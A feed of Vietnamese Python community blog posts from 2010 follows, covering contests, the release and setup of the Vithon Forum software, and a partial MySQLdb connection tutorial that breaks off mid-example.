<p>Hiện áo đang được đưa đi in với số lượng <strong>50</strong> chiếc. Nếu bạn có nhu cầu muốn đặt mua áo thì vui lòng liên lạc với nhóm PCNV trong <a class="reference external" href="forum.vithon.org">diễn đàn</a>, hoặc qua kênh IRC <strong>#vithon</strong> ở máy chủ <strong>irc.freenode.net</strong> (<a class="reference external" href="http://webchat.freenode.net">http://webchat.freenode.net</a>). Giá dự tính của mỗi chiếc áo sẽ ít hơn <strong>một trăm năm mươi nghìn đồng</strong>. Do số lượng có hạn nên áo sẽ được phân phát theo phương thức <em>nhanh tay thì còn</em>.</p>
<p><strong>Nhóm PCNV không chịu trách nhiệm nếu người mặc áo bị các lập trình viên khác gây chuyện!</strong></p>
<p>Nhóm PCNV trân trọng cảm ơn công sức thâu đêm suốt sáng nhiều tuần liền của các thành viên năng nổ sau:</p>
<dl class="docutils">
<dt>Kịch bản</dt>
<dd>Hoàng Quốc Thịnh</dd>
<dt>Đạo diễn</dt>
<dd>Nguyễn Thành Nam</dd>
<dt>Hiệu ứng</dt>
<dd>Lê Ngọc Hiếu</dd>
<dt>Sản xuất</dt>
<dd>Phan Đắc Anh Huy</dd>
<dt>Chỉ đạo nghệ thuật</dt>
<dd>Tập thể diễn viên hài PCNV</dd>
</dl>
<p>Chúc các bạn vui vẻ!</p>
Cuộc thi viết chương trình theo dõi mã máy2010-07-22T05:13:00+07:002010-07-22T05:13:00+07:00Nguyễn Thành Namtag:None,2010-07-22:2010/07/cuoc-thi-viet-chuong-trinh-theo-doi-ma-may.html<p>Một người bạn của chúng ta đã có nhã ý tài trợ cho một cuộc thi nhỏ.</p>
<p>Mục tiêu: Viết một công cụ bằng ngôn ngữ Python để thực hiện việc lưu lại những lệnh gọi hàm ở mức hợp ngữ trong khi thực thi của một chương trình thông …</p><p>Một người bạn của chúng ta đã có nhã ý tài trợ cho một cuộc thi nhỏ.</p>
<p>Mục tiêu: Viết một công cụ bằng ngôn ngữ Python để thực hiện việc lưu lại những lệnh gọi hàm ở mức hợp ngữ trong khi thực thi của một chương trình thông thường khác.</p>
<p>Ví dụ: Với đoạn mã tương tự như sau:</p>
<div class="highlight"><pre><span></span><span class="err">0</span><span class="nf">x08048552</span> <span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">110</span><span class="err">></span><span class="p">:</span> <span class="no">mov</span> <span class="no">DWORD</span> <span class="no">PTR</span> <span class="p">[</span><span class="no">esp</span><span class="p">],</span><span class="no">eax</span>
<span class="err">0</span><span class="nf">x08048555</span> <span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">113</span><span class="err">></span><span class="p">:</span> <span class="no">call</span> <span class="mh">0x80483d8</span> <span class="p"><</span><span class="no">printf@plt</span><span class="p">></span>
<span class="err">0</span><span class="nf">x0804855a</span> <span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">118</span><span class="err">></span><span class="p">:</span> <span class="no">mov</span> <span class="no">eax</span><span class="p">,</span><span class="mi">0x0</span>
<span class="err">0</span><span class="nf">x0804855f</span> <span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">123</span><span class="err">></span><span class="p">:</span> <span class="no">leave</span>
<span class="err">0</span><span class="nf">x08048560</span> <span class="err"><</span><span class="no">main</span><span class="err">+</span><span class="mi">124</span><span class="err">></span><span class="p">:</span> <span class="no">ret</span>
</pre></div>
<p>thì chương trình sẽ in ra thông tin tương tự (có thể tùy ý chỉnh sửa cho đầy đủ hơn) như sau:</p>
<div class="highlight"><pre><span></span><span class="err">*</span> <span class="nf">Before</span> <span class="no">printf</span><span class="p">()</span>
<span class="err">--------------------------------------------------------------------------[</span><span class="nf">regs</span><span class="p">]</span>
<span class="nl">EAX:</span> <span class="err">0</span><span class="nf">x08048646</span> <span class="no">EBX</span><span class="p">:</span> <span class="mi">0x002B2FF4</span> <span class="no">ECX</span><span class="p">:</span> <span class="mi">0x00000003</span> <span class="no">EDX</span><span class="p">:</span> <span class="mi">0xBFFFEF9C</span>
<span class="nl">ESI:</span> <span class="err">0</span><span class="nf">x00000000</span> <span class="no">EDI</span><span class="p">:</span> <span class="mi">0x00000000</span> <span class="no">EBP</span><span class="p">:</span> <span class="mi">0xBFFFF0A8</span> <span class="no">ESP</span><span class="p">:</span> <span class="mi">0xBFFFEF80</span>
<span class="err">*</span> <span class="nf">After</span> <span class="no">printf</span><span class="p">()</span>
<span class="err">--------------------------------------------------------------------------[</span><span class="nf">regs</span><span class="p">]</span>
<span class="nl">EAX:</span> <span class="err">0</span><span class="nf">x0000000A</span> <span class="no">EBX</span><span class="p">:</span> <span class="mi">0x002B2FF4</span> <span class="no">ECX</span><span class="p">:</span> <span class="mi">0xBFFFEF68</span> <span class="no">EDX</span><span class="p">:</span> <span class="mi">0x002B4320</span>
<span class="nl">ESI:</span> <span class="err">0</span><span class="nf">x00000000</span> <span class="no">EDI</span><span class="p">:</span> <span class="mi">0x00000000</span> <span class="no">EBP</span><span class="p">:</span> <span class="mi">0xBFFFF0A8</span> <span class="no">ESP</span><span class="p">:</span> <span class="mi">0xBFFFEF80</span>
</pre></div>
<p>Yêu cầu: Bắt buộc phải sử dụng ngôn ngữ Python cho chương trình chính. Có thể sử dụng thêm các công cụ phụ hoặc thư viện hỗ trợ như GDB, ptrace.</p>
<p>Hạn nộp bài: Ngày 26 tháng 07 năm 2010</p>
<p>Nộp bài (mã nguồn) về cho <a class="reference external" href="mailto:admin+frontpage@vithon.org">admin+frontpage@vithon.org</a> (xin vui lòng bỏ +frontpage).</p>
<p>Giải thưởng: Một giải thưởng duy nhất bao gồm 100.000 đồng tiền mặt và một món quà từ Las Vegas.</p>
Giới thiệu phần mềm Vithon Forum2010-07-01T11:49:00+07:002010-07-01T11:49:00+07:00Nhóm PCNVtag:None,2010-07-01:2010/07/gioi-thieu-phan-mem-vithon-forum.html<p>Nhóm Python Cho Người Việt (PCNV) hân hạnh công bố phần mềm <strong>Vithon Forum</strong> đến với cộng đồng.</p>
<div class="section" id="gioi-thieu">
<h2>Giới thiệu</h2>
<p>Phần mềm Vithon Forum (gọi tắt là <strong>VF</strong>) là một phần mềm tự do, mã mở, miễn phí với chức năng chính là một diễn đàn thảo luận tương tự …</p></div><p>Nhóm Python Cho Người Việt (PCNV) hân hạnh công bố phần mềm <strong>Vithon Forum</strong> đến với cộng đồng.</p>
<div class="section" id="gioi-thieu">
<h2>Giới thiệu</h2>
<p>Phần mềm Vithon Forum (gọi tắt là <strong>VF</strong>) là một phần mềm tự do, mã mở, miễn phí với chức năng chính là một diễn đàn thảo luận tương tự như các gói phần mềm phpBB, punBB, pyForum.</p>
<p>VF là một ứng dụng web được viết bằng ngôn ngữ Python theo mô hình WSGI. VF có thể được triển khai với các máy chủ hỗ trợ WSGI hay CGI ví dụ như Apache. VF có thể sử dụng nhiều hệ cơ sở dữ liệu quan hệ như SQLite, MySQL, Oracle.</p>
</div>
<div class="section" id="tinh-nang">
<h2>Tính năng</h2>
<p>VF có các tính năng nổi trội sau:</p>
<dl class="docutils">
<dt>Đơn giản</dt>
<dd>VF chỉ thực hiện một công việc chính đó là lưu trữ và hiển thị các thảo luận của người dùng một cách tiện lợi nhất. VF không mong muốn trở thành một công cụ tích hợp thư điện tử, lịch cá nhân, danh sách công việc, nhắn tin, tán gẫu, v.v...</dd>
<dt>Nhỏ gọn</dt>
<dd>Vì chỉ phục vụ một số ít tác vụ cơ bản của một diễn đàn, toàn bộ chương trình VF (trừ các thư viện ngoài) chỉ chiếm khoảng 100 kilobyte dung lượng dĩa.</dd>
<dt>An toàn</dt>
<dd>VF được phát triển với các tính năng an ninh được đặt lên hàng đầu. Vì sự đơn giản và tính nhỏ gọn của VF nên chương trình được thiết kế ưu tiên sự an toàn hơn tính năng, và việc kiểm tra mã nguồn được thực hiện thường xuyên nhằm đảm bảo sự ưu tiên đó.</dd>
<dt>Thuận tiện</dt>
<dd>VF đề cao việc sử dụng các chuẩn mở như OpenID để việc sử dụng VF trở nên dễ dàng hơn cho người dùng. Bên canh đó, các tính năng thông thường mà người dùng đã quen thuộc ở các gói phần mềm khác cũng có mặt trong VF như BBCode. Tất cả chỉ nhằm một mục đích tạo ra môi trường thảo luận thuận tiện.</dd>
</dl>
</div>
<div class="section" id="yeu-cau-he-thong">
<h2>Yêu cầu hệ thống</h2>
<p>Để triển khai VF, hệ thống sẽ cần một số ứng dụng và mô-đun sau:</p>
<ul class="simple">
<li>Python v2.5 trở lên.</li>
<li>Mô-đun mako</li>
<li>Mô-đun werkzeug</li>
<li>Mô-đun sqlalchemy</li>
<li>Mô-đun routes</li>
<li>Mô-đun repoze.who.plugins.openid</li>
<li>Mô-đun repoze.what.plugins.xml</li>
<li>Mô-đun postmarkup</li>
<li>Mô-đun unidecode</li>
<li>Mô-đun zope.interface</li>
</ul>
<p>Các mô-đun này có thể được cài đặt bằng <strong>setuptools</strong> (<strong>easy_install</strong>) hoặc <strong>pip</strong>.</p>
</div>
<div class="section" id="cai-dat">
<h2>Cài đặt</h2>
<p>Mã nguồn của VF có thể được tải về từ địa chỉ <a class="reference external" href="http://bitbucket.org/vithon/vithon-forum">http://bitbucket.org/vithon/vithon-forum</a>.</p>
<p>Giải nén mã nguồn vào một thư mục nào đấy, giả sử như <strong>/opt/vithon-forum</strong>.</p>
<p>Dựa vào nội dung của tập tin <strong>config.py</strong> để tạo tập tin <strong>siteconfig.py</strong> mới, với các dòng lệnh gán giá trị phù hợp cho biến toàn cục. Các biến quan trọng cần thay đổi là <strong>COOKIE_SECRET</strong>, <strong>DATABASE_URL</strong>, <strong>STATIC_CONTENT_PATH</strong>, <strong>SESSION_STORAGE_PATH</strong>.</p>
<p>Tập tin <strong>siteconfig.py</strong> có thể có dạng sau:</p>
<div class="highlight"><pre><span></span><span class="n">BOARD_NAME</span> <span class="o">=</span> <span class="s1">'Acme Hideout'</span>
<span class="n">COOKIE_SECRET</span> <span class="o">=</span> <span class="s1">'y@h0O'</span>
<span class="n">DATABASE_URL</span> <span class="o">=</span> <span class="s1">'sqlite:////opt/vithon-forum/db.db'</span>
<span class="n">STATIC_CONTENT_PATH</span> <span class="o">=</span> <span class="s1">'/opt/vithon-forum/static'</span>
<span class="n">SESSION_STORAGE_PATH</span> <span class="o">=</span> <span class="s1">'/tmp/session'</span>
<span class="n">SESSION_COOKIE_NAME</span> <span class="o">=</span> <span class="s1">'sid'</span>
<span class="n">ENTRIES_PER_PAGE</span> <span class="o">=</span> <span class="mi">10</span>
<span class="n">ORGANIZATION</span> <span class="o">=</span> <span class="s1">'Acme Corp'</span>
</pre></div>
<p>Sau đó, chúng ta cần phải khởi tạo cơ sở dữ liệu bằng lệnh <strong>initdb</strong>.</p>
<div class="highlight"><pre><span></span>$ <span class="nb">cd</span> /opt/vithon-forum
$ python forum.py initdb
</pre></div>
<p>Việc cài đặt đã hoàn tất.</p>
</div>
<div class="section" id="van-hanh">
<h2>Vận hành</h2>
<p>Mặc dù cơ sở dữ liệu đã được khởi tạo khi cài đặt nhưng chúng ta chưa có dữ liệu nào trong cơ sở dữ liệu cả. Do đó, trước khi chạy VF, chúng ta sẽ cần phải tạo một số diễn đàn. Chúng ta sẽ sử dụng lệnh <strong>shell</strong> để thực hiện việc này.</p>
<div class="highlight"><pre><span></span>$ <span class="nb">cd</span> /opt/vithon-forum
$ python forum.py shell
</pre></div>
<p>Lệnh <strong>shell</strong> sẽ mở một phiên làm việc tương tác cho phép chúng ta sử dụng Python để tác động đến chương trình VF. Chúng ta sẽ nhập vào đoạn mã Python như sau.</p>
<div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">model</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">f1</span> <span class="o">=</span> <span class="n">Forum</span><span class="p">(</span><span class="sa">u</span><span class="s1">'Forum 1'</span><span class="p">,</span> <span class="sa">u</span><span class="s1">'Dien giai cho Forum 1'</span><span class="p">)</span>
<span class="n">f11</span> <span class="o">=</span> <span class="n">Forum</span><span class="p">(</span><span class="sa">u</span><span class="s1">'Forum 1.1'</span><span class="p">,</span> <span class="sa">u</span><span class="s1">'Dien giai cho Forum 1.1'</span><span class="p">,</span> <span class="n">f1</span><span class="p">)</span>
<span class="n">f12</span> <span class="o">=</span> <span class="n">Forum</span><span class="p">(</span><span class="sa">u</span><span class="s1">'Forum 1.2'</span><span class="p">,</span> <span class="sa">u</span><span class="s1">'Dien giai cho Forum 1.2'</span><span class="p">,</span> <span class="n">f1</span><span class="p">)</span>
<span class="n">f2</span> <span class="o">=</span> <span class="n">Forum</span><span class="p">(</span><span class="sa">u</span><span class="s1">'Forum 2'</span><span class="p">,</span> <span class="sa">u</span><span class="s1">'Dien giai cho Forum 2'</span><span class="p">)</span>
<span class="n">f21</span> <span class="o">=</span> <span class="n">Forum</span><span class="p">(</span><span class="sa">u</span><span class="s1">'Forum 2.1'</span><span class="p">,</span> <span class="sa">u</span><span class="s1">'Dien giai cho Forum 2.1'</span><span class="p">,</span> <span class="n">f2</span><span class="p">)</span>
<span class="n">f22</span> <span class="o">=</span> <span class="n">Forum</span><span class="p">(</span><span class="sa">u</span><span class="s1">'Forum 2.2'</span><span class="p">,</span> <span class="sa">u</span><span class="s1">'Dien giai cho Forum 2.2'</span><span class="p">,</span> <span class="n">f2</span><span class="p">)</span>
<span class="n">session</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">f1</span><span class="p">)</span>
<span class="n">session</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">f2</span><span class="p">)</span>
<span class="n">session</span><span class="o">.</span><span class="n">commit</span><span class="p">()</span>
</pre></div>
<p>Các câu lệnh trên tạo ra cấu trúc diễn đàn như sau:</p>
<pre class="literal-block">
Forum 1
|
+-- Forum 1.1
|
+-- Forum 1.2
Forum 2
|
+-- Forum 2.1
|
+-- Forum 2.2
</pre>
<p>Vì VF không có các tính năng quản lý qua web nên lệnh <strong>shell</strong> cũng chính là môi trường quản lý chính.</p>
<p>Cuối cùng, để chạy VF, chúng ta sẽ dùng lệnh <strong>runserver</strong> tương tự như sau:</p>
<div class="highlight"><pre><span></span>$ <span class="nb">cd</span> /opt/vithon-forum
$ python forum.py runserver -h <span class="m">127</span>.0.0.1 -p <span class="m">8080</span>
</pre></div>
<p>Khi này, nếu ta mở trình duyệt lên và đi đến trang <a class="reference external" href="http://127.0.0.1:8080">http://127.0.0.1:8080</a> thì chúng ta sẽ thấy diễn đàn đã hoạt động.</p>
</div>
<div class="section" id="trien-khai-theo-mo-hinh-cgi">
<h2>Triển khai theo mô hình CGI</h2>
<p>Chúng ta cũng có thể triển khai VF theo mô hình CGI.</p>
<p>Đầu tiên chúng ta cần chép tập tin <strong>forum.cgi</strong> vào thư mục chứa các tập tin CGI (ví dụ như <strong>/var/www/cgi-bin</strong>).</p>
<p>Tiếp đến chúng ta cần sửa các lệnh thiết lập đường dẫn trong tập tin này cho phù hợp.</p>
<div class="highlight"><pre><span></span><span class="c1"># Set the path to store python package cache</span>
<span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s1">'PYTHON_EGG_CACHE'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'/tmp/.egg'</span>
<span class="c1"># Set the path to vithon forum here</span>
<span class="n">sys</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s1">'/opt/vithon-forum'</span><span class="p">)</span>
</pre></div>
<p>Nếu như tập tin <strong>siteconfig.py</strong> nằm ở thư mục khác (ví dụ như trong thư mục <strong>/var/www/cgi-bin</strong>), thì chúng ta cũng sẽ cần thêm vào các dòng bên dưới. Nếu <strong>siteconfig.py</strong> nằm chung chỗ với các tập tin khác của VF thì chúng ta không cần các dòng lệnh này.</p>
<div class="highlight"><pre><span></span><span class="c1"># Set the path to siteconfig.py here</span>
<span class="n">sys</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s1">'/var/www/cgi-bin'</span><span class="p">)</span>
</pre></div>
<p>Và cuối cùng chúng ta chỉ cần cấu hình máy chủ web để sử dụng tập tin <strong>forum.cgi</strong> như là một ứng dụng CGI. Thông tin về vấn đề này được nói rõ hơn trong tài liệu đi kèm với máy chủ web.</p>
</div>
Diễn đàn vithon hoạt động trở lại2010-06-08T10:21:00+07:002010-06-08T10:21:00+07:00Phan Đắc Anh Huytag:None,2010-06-08:2010/06/dien-dan-vithon-hoat-dong-tro-lai.html<p>Chào mọi người, sau một thời gian gián đoạn, diễn đàn Vithon đã hoạt động trở lại tại địa chỉ <a class="reference external" href="http://vithon.org/forum">http://vithon.org/forum</a>.</p>
<p>Phiên bản mới của diễn đàn do chính các thành viên của nhóm PCNV phát triển, được viết hoàn toàn bằng ngôn ngữ Python.</p>
<p>Mã nguồn …</p><p>Chào mọi người, sau một thời gian gián đoạn, diễn đàn Vithon đã hoạt động trở lại tại địa chỉ <a class="reference external" href="http://vithon.org/forum">http://vithon.org/forum</a>.</p>
<p>Phiên bản mới của diễn đàn do chính các thành viên của nhóm PCNV phát triển, được viết hoàn toàn bằng ngôn ngữ Python.</p>
<p>Mã nguồn của diễn đàn được host tại <a class="reference external" href="http://bitbucket.org/vithon/vithon-forum">BitBuket</a>.</p>
<p>Hiện nay nhóm vẫn đang tiếp tục hoàn thiện các tính năng cơ bản và mở rộng cho diễn đàn. Chúng tôi chào đón mọi ý kiến đóng góp về tính năng sử dụng cũng như tham gia viết mã của tất cả các bạn.</p>
Kết quả cuộc thi Giải Toán Bằng Python2010-06-03T04:04:00+07:002010-06-03T04:04:00+07:00Phan Đắc Anh Huytag:None,2010-06-03:2010/06/ket-qua-cuoc-thi-giai-toan-bang-python.html<p>Sau một tuần tranh tài sôi nổi, cuộc thi Giải Toán Bằng Python mừng ngày Quốc Tế Thiếu Nhi đã kết thúc tốt đẹp.</p>
<p>Ngày 1/6, với sự tham dự của hầu hết các thí sinh và cổ động viên, anh Nguyễn Thành Nam - trưởng nhóm Python cho người …</p><p>Sau một tuần tranh tài sôi nổi, cuộc thi Giải Toán Bằng Python mừng ngày Quốc Tế Thiếu Nhi đã kết thúc tốt đẹp.</p>
<p>Ngày 1/6, với sự tham dự của hầu hết các thí sinh và cổ động viên, anh Nguyễn Thành Nam - trưởng nhóm Python cho người Việt - đã tiến hành chấm bài. Đúng như dự đoán trong thời gian diễn ra kỳ thi của anh, mặc cho sự cạnh tranh rất quyết liệt giữa các thí sinh, vẫn có một bài thi tỏ ra vượt trội và giành chiến thắng một cách thuyết phục. Đó là bài dự thi của bạn Nhâm Xuân Nam, với nickname namnx.</p>
<p>Với nội dung thi gần gũi, dễ tiếp cận nhưng cũng không kém phần hấp dẫn, cuộc thi đã thu hút sự tham gia đông đảo hơn rất nhiều so với hai cuộc thi trước. Chất lượng cuộc thi rất cao khi hầu hết các thí sinh đều tìm ra được công thức cho phép tính nhanh các cặp số, một số kỹ thuật về multi-processing cũng được các thí sinh tìm hiểu và tận dụng rất hiệu quả. Bài của bạn Nhâm Xuân Nam đã đạt được kết quả cách biệt với số <tt class="docutils literal">n</tt> lớn nhất dài hơn 2100 chữ số!</p>
<p>Nói về bài thi đoạt giải nhất, bạn Hoàng Quốc Thịnh - người đạt giải nhất cuộc thi đầu tiên - và anh Nguyễn Thành Nam đều chung một nhận định:</p>
<blockquote>
Một bài thi chuẩn mực, không có gì phải phàn nàn cả!</blockquote>
<p>Mã nguồn của các bài dự thi cùng với chương trình chấm có thể được tải về tại <a class="reference external" href="http://www.vithon.org/static/pell.zip">đây</a>. Hình sau là ảnh của lễ trao giải. Bạn Lê Ngọc Hiếu đại diện cho nhóm PCNV bên phải, trao tặng giải thưởng cho người chiến thắng bên trái.</p>
<img alt="" src="/static/pell.contest.png" />
<p>Một lần nữa xin chúc mừng bạn Nhâm Xuân Nam!</p>
MySQLdb - Thiết lập kết nối2010-05-31T16:55:00+07:002010-05-31T16:55:00+07:00Phạm Thị Minh Hoàitag:None,2010-05-31:2010/05/mysqldb-thiet-lap-ket-noi.html<p>MySQLdb là một wrapper của thư viện MySQL C API: <tt class="docutils literal">_mysql</tt>. Nó cho phép bạn viết các ứng dụng Python khả chuyển (portable) chạy trên nhiều môi trường khác nhau để truy cập vào máy chủ có hệ quản trị CSDL MySQL.</p>
<p>Bài viết sau đây đề cập một số …</p><p>MySQLdb là một wrapper của thư viện MySQL C API: <tt class="docutils literal">_mysql</tt>. Nó cho phép bạn viết các ứng dụng Python khả chuyển (portable) chạy trên nhiều môi trường khác nhau để truy cập vào máy chủ có hệ quản trị CSDL MySQL.</p>
<p>Bài viết sau đây đề cập một số khía cạnh liên quan tới thiết lập kết nối CSDL. Đó là vấn đề quan trọng đầu tiên khi làm việc với bất kỳ hệ quản trị CSDL nào.</p>
<p>Bản cài đặt MySQLdb có thể download trên trang: <a class="reference external" href="http://sourceforge.net/projects/mysql-python/">http://sourceforge.net/projects/mysql-python/</a>. Download có sẵn cho các nền tảng windows 32 bit và các họ unix. Đáng tiếc là MySQLdb hiện chỉ sử dụng cho các phiên bản python từ 2.3 đến 2.6.</p>
<div class="section" id="hello-world">
<h2>Hello World</h2>
<p>Giả thiết trên máy của bạn đã cài MySQL với cổng mặc định (3306) và account root không cần password. Đoạn chương trình sau minh họa một kết nối đơn giản nhất có thể. Nó in ra các db có trong CSDL này:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">db</span> <span class="o">=</span> <span class="n">MySQLdb</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">user</span><span class="o">=</span><span class="s2">"root"</span><span class="p">)</span>
<span class="gp">>>> </span><span class="n">cursor</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
<span class="gp">>>> </span><span class="n">query</span> <span class="o">=</span> <span class="s2">"SHOW DATABASES"</span>
<span class="gp">>>> </span><span class="n">cursor</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
<span class="go">6L</span>
<span class="gp">>>> </span><span class="n">cursor</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()</span>
<span class="go">(('information_schema',), ('cdcol',), ('mysql',), ('phpmyadmin',), ('test',))</span>
</pre></div>
</div>
<div class="section" id="ket-noi-theo-ip">
<h2>Kết nối theo IP</h2>
<p>Truy cập từ xa đến một hệ thống phức tạp hơn, bạn cần biết các tham số:</p>
<ul class="simple">
<li>Máy chủ chứa MySQL (mặc định: <tt class="docutils literal">localhost</tt> hay <tt class="docutils literal">127.0.0.1</tt>)</li>
<li>Cổng truy cập vào MySQL (mặc định: 3306)</li>
<li>User, Password mà bạn được cấp</li>
<li>Tên CSDL bạn muốn truy cập</li>
</ul>
<p>Ví dụ sau in ra các bảng của CSDL <tt class="docutils literal">mydb</tt> trên máy <tt class="docutils literal">192.168.90.31</tt> với cổng 3310:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">db</span> <span class="o">=</span> <span class="n">MySQLdb</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">user</span><span class="o">=</span><span class="s2">"you"</span><span class="p">,</span> <span class="n">db</span><span class="o">=</span><span class="s2">"mydb"</span><span class="p">,</span> <span class="n">passwd</span><span class="o">=</span><span class="s2">"mypw"</span><span class="p">,</span> \
<span class="go"> host="192.168.90.31", port=3310)</span>
<span class="gp">>>> </span><span class="n">cursor</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
<span class="gp">>>> </span><span class="n">query</span> <span class="o">=</span> <span class="s2">"SHOW TABLES"</span>
<span class="gp">>>> </span><span class="n">cursor</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
<span class="gp">>>> </span><span class="n">cursor</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()</span>
</pre></div>
</div>
<div class="section" id="ket-noi-theo-unix-socket">
<h2>Kết nối theo UNIX socket</h2>
<p>Trên các localhost cho phép dùng UNIX socket bạn có thể viết:</p>
<div class="highlight"><pre><span></span><span class="go">db = MySQLdb.connect(db="test", user="hoaiptm", passwd="hoaiptm", \</span>
<span class="go"> unix_socket="/opt/hoaiptm/mysql/mysql.sock")</span>
</pre></div>
<p>Truy cập MySQL qua các socket trên unix tương tự như named pipe trên windows. Nó cho phép các ứng dụng localhost tạo các kết nối cực kỳ nhanh đến CSDL. Nếu bạn chưa hiểu rõ về socket bạn có thể đọc: <a class="reference external" href="http://beej.us/guide/bgipc/output/html/multipage/unixsock.html">http://beej.us/guide/bgipc/output/html/multipage/unixsock.html</a>.</p>
</div>
<div class="section" id="giau-password">
<h2>Giấu password</h2>
<p>Các ví dụ trên đây đều yêu cầu phải có password đặt trong mã nguồn Python. MySQLdb cho phép bạn giấu chúng trong một nơi mà chỉ bạn được phép truy cập:</p>
<div class="highlight"><pre><span></span><span class="go">db = MySQLdb.connect(db="yourdb", read_default_file="/home/hoaiptm/mysql.ini")</span>
</pre></div>
<p>tập tin options <tt class="docutils literal">/home/hoaiptm/mysql.ini</tt> có thể có nội dung như sau:</p>
<pre class="literal-block">
[client]
port=3310
socket=/opt/hoaiptm/mysql/mysql.sock
user=hoaiptm
password=hoaiptm
</pre>
<p>Hướng dẫn về các option này có thể đọc trong tài liệu: <a class="reference external" href="http://www.yellis.net/docs/mysql/manuel_Option_files.html#Option_files">http://www.yellis.net/docs/mysql/manuel_Option_files.html#Option_files</a>.</p>
</div>
<div class="section" id="thay-doi-charset-mac-dinh">
<h2>Thay đổi charset mặc định</h2>
<p>Các kết nối trong các ví dụ trên sử dụng charset mặt định là <strong>latin1</strong>, do đó bạn không lấy được các dữ liệu tiếng Việt. Chẳng hạn bạn tạo một bảng <strong>user</strong> với chartset <strong>utf8</strong> trong CSDL <strong>test</strong> như sau:</p>
<pre class="literal-block">
USE `test`;
CREATE TABLE `user` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`account` varchar(50) DEFAULT NULL,
`fullname` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 **DEFAULT CHARSET=utf8** ROW_FORMAT=DYNAMIC;
INSERT INTO `user` VALUES (1,'hoaiptm','Phạm Thị Minh Hoài');
INSERT INTO `user` VALUES (2,'trangnt','Ngô Thu Trang');
</pre>
<p>Sau đó cố gắng lấy dữ liệu từ bảng user:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">db</span> <span class="o">=</span> <span class="n">MySQLdb</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">user</span><span class="o">=</span><span class="s2">"hoaiptm"</span><span class="p">,</span> <span class="n">db</span><span class="o">=</span><span class="s2">"test"</span><span class="p">,</span> <span class="n">passwd</span><span class="o">=</span><span class="s2">"hoaiptm"</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">3310</span><span class="p">)</span>
<span class="gp">>>> </span><span class="n">cursor</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
<span class="gp">>>> </span><span class="n">query</span> <span class="o">=</span> <span class="s2">"SELECT fullname FROM user"</span>
<span class="gp">>>> </span><span class="n">cursor</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
<span class="go">2L</span>
<span class="gp">>>> </span><span class="n">cursor</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()</span>
<span class="go">(('Ph?m Th? Minh Ho\xe0i',), ('Ng\xf4 Thu Trang',))</span>
</pre></div>
<p>Các dấu <tt class="docutils literal">?</tt> cho thấy các ký tự utf8 đã không được truyền tải đúng. Để giải quyết vấn đề này chúng ta thêm tùy chọn <strong>charset = "utf8"</strong> trong connection:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">db</span> <span class="o">=</span> <span class="n">MySQLdb</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">user</span><span class="o">=</span><span class="s2">"hoaiptm"</span><span class="p">,</span> <span class="n">db</span><span class="o">=</span><span class="s2">"test"</span><span class="p">,</span> <span class="n">passwd</span><span class="o">=</span><span class="s2">"hoaiptm"</span><span class="p">,</span> \
<span class="go"> port=3310, charset="utf8")</span>
<span class="gp">...</span>
<span class="gp">>>> </span><span class="n">cursor</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()</span>
<span class="go">((u'Ph\u1ea1m Th\u1ecb Minh Ho\xe0i',), (u'Ng\xf4 Thu Trang',))</span>
</pre></div>
<p>Lúc này tất cả các dữ liệu trong trường text, char, varchar đều được trả về dạng unicode.</p>
</div>
<div class="section" id="yeu-cau-tra-ve-tu-dien">
<h2>Yêu cầu trả về từ điển</h2>
<p>MySQLdb cho phép trả về các kết quả dạng từ điển, để làm được điều đó bạn thêm tùy chọn <strong>cursorclass=MySQLdb.cursors.DictCursor</strong>. Ví dụ:</p>
<div class="highlight"><pre><span></span><span class="gp">>>> </span><span class="n">db</span> <span class="o">=</span> <span class="n">MySQLdb</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">user</span><span class="o">=</span><span class="s2">"hoaiptm"</span><span class="p">,</span> <span class="n">db</span><span class="o">=</span><span class="s2">"test"</span><span class="p">,</span> <span class="n">passwd</span><span class="o">=</span><span class="s2">"hoaiptm"</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">3310</span><span class="p">,</span> \
<span class="go"> charset="utf8", cursorclass=MySQLdb.cursors.DictCursor)</span>
<span class="gp">>>> </span><span class="n">cursor</span> <span class="o">=</span> <span class="n">db</span><span class="o">.</span><span class="n">cursor</span><span class="p">()</span>
